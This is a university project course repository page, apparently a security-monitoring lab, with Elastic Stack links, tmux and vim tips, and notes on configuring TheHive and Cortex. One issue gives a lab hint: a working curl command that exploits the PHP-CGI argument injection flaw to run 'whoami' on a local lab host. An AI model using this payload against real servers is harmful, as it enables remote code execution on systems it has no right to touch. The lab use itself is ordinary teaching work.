avitg/projektfach-hs-nr_ws2019-20

Projektfach-HS-NR_WS2019/20

Projektfach-HS-NR_WS2019

Projektfach HS-NR Wintersemester 2019

• //GetUPAndRunning
• 13_12_2019

Elastic-Stack

• Elastic - Stack downloads
  • https://www.elastic.co/downloads/
• Dokumentation hier
  • https://www.elastic.co/guide/index.html
  • https://www.elastic.co/guide/en/elasticsearch/reference/current/index.html
  • https://www.elastic.co/guide/en/logstash/current/index.html
  • https://www.elastic.co/guide/en/kibana/current/index.html

Wissenswertes

• tmux

  • Cheat-Sheet Quelle https://linuxacademy.com/blog/linux/tmux-cheat-sheet/
  • Grösse eines Panles (panes) ändern:
    • ctrl + b dann <left alt>-Taste halten und mit den Pfeiltasten Grösse ändern

• vim

  • Cheat-Sheet Quelle https://i.redd.it/ve1jv3m3qqj21.png

##"old"

• 11_10_2019
• 18_10_2019
• 24_10_2019
• 08_11_2019
• 15_11_2019
• 06_12_2019

projektfach-hs-nr_ws2019-20's Issues

hint 2019_11_15/2.2 PHP-Lücke - Persistence curl

curl -X GET -i 'http://192.168.56.40/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input' --data '<?php system('\''whoami'\'');die(); ?>'

TheHive Änderungen

Die Service Datei /usr/lib/systemd/system/thehive.service anpassen und durch diese Inhalt ersetzen

[Unit]
Description=TheHive
Documentation=https://thehive-project.org
Wants=network-online.target
After=network-online.target

[Service]
WorkingDirectory=/opt/thehive

User=thehive
Group=thehive

ExecStart=/opt/thehive/bin/thehive \
	-Dconfig.file=/etc/thehive/application.conf \
	-Dlogger.file=/etc/thehive/logback.xml \
	-Dpidfile.path=/var/run/thehive/pid

StandardOutput=journal
StandardError=inherit

# Specifies the maximum file descriptor number that can be opened by this process
LimitNOFILE=65536

# Disable timeout logic and wait until process is stopped
TimeoutStopSec=0

# SIGTERM signal is used to stop the Java process
KillSignal=SIGTERM

# Java process is never killed
SendSIGKILL=no

# When a JVM receives a SIGTERM signal it exits with code 143
SuccessExitStatus=143

[Install]
WantedBy=multi-user.target

Sollte der Ordner /var/run/thehive/ nicht exestieren erzeugen mkdir /var/run/thehive/ und den Besitzer ändern mit chown thehive:thehive /var/run/thehive/

Nicht vergessen den Secret key zu erzeugen siehe Anleitung https://github.com/TheHive-Project/TheHiveDocs/blob/master/installation/install-guide.md#5-first-start

(cat << _EOF_
# Secret key
# ~~~~~
# The secret key is used to secure cryptographics functions.
# If you deploy your application to several instances be sure to use the same key!
play.http.secret.key="$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 64 | head -n 1)"
_EOF_
) | sudo tee -a /etc/thehive/application.conf

Optional kann das init.d Script noch angepasst werden sollte dadürber der Dienst gestartet werden, liegt in /etc/init.d/thehive
Ganz oben die ersten Zeilen die so ähnlich aussen ändern

NAME=thehive
DAEMON=/opt/thehive/bin/thehive
PIDFILE=/var/run/thehive/pid
DAEMON_USER=thehive
DAEMON_ARGS="-Dconfig.file=/etc/thehive/application.conf -Dlogger.file=/etc/thehive/logback.xml -Dpidfile.path=/var/run/thehive/pid"
PATH=/sbin:/bin:/usr/sbin:/usr/bin

Damit beim Reboot der Order /var/run/thehive automatisch erzeugt wird muss eine Datei /usr/lib/tmpfiles.d/thehive.conf mit folgendem Inhalt erzeugt werden

 #Type Path            Mode UID      GID    Age Argument
 d     /run/thehive   0755 thehive thehive   -   -

Cortex

create an org_admin and log in to the org as this admin, you will see the analyzers...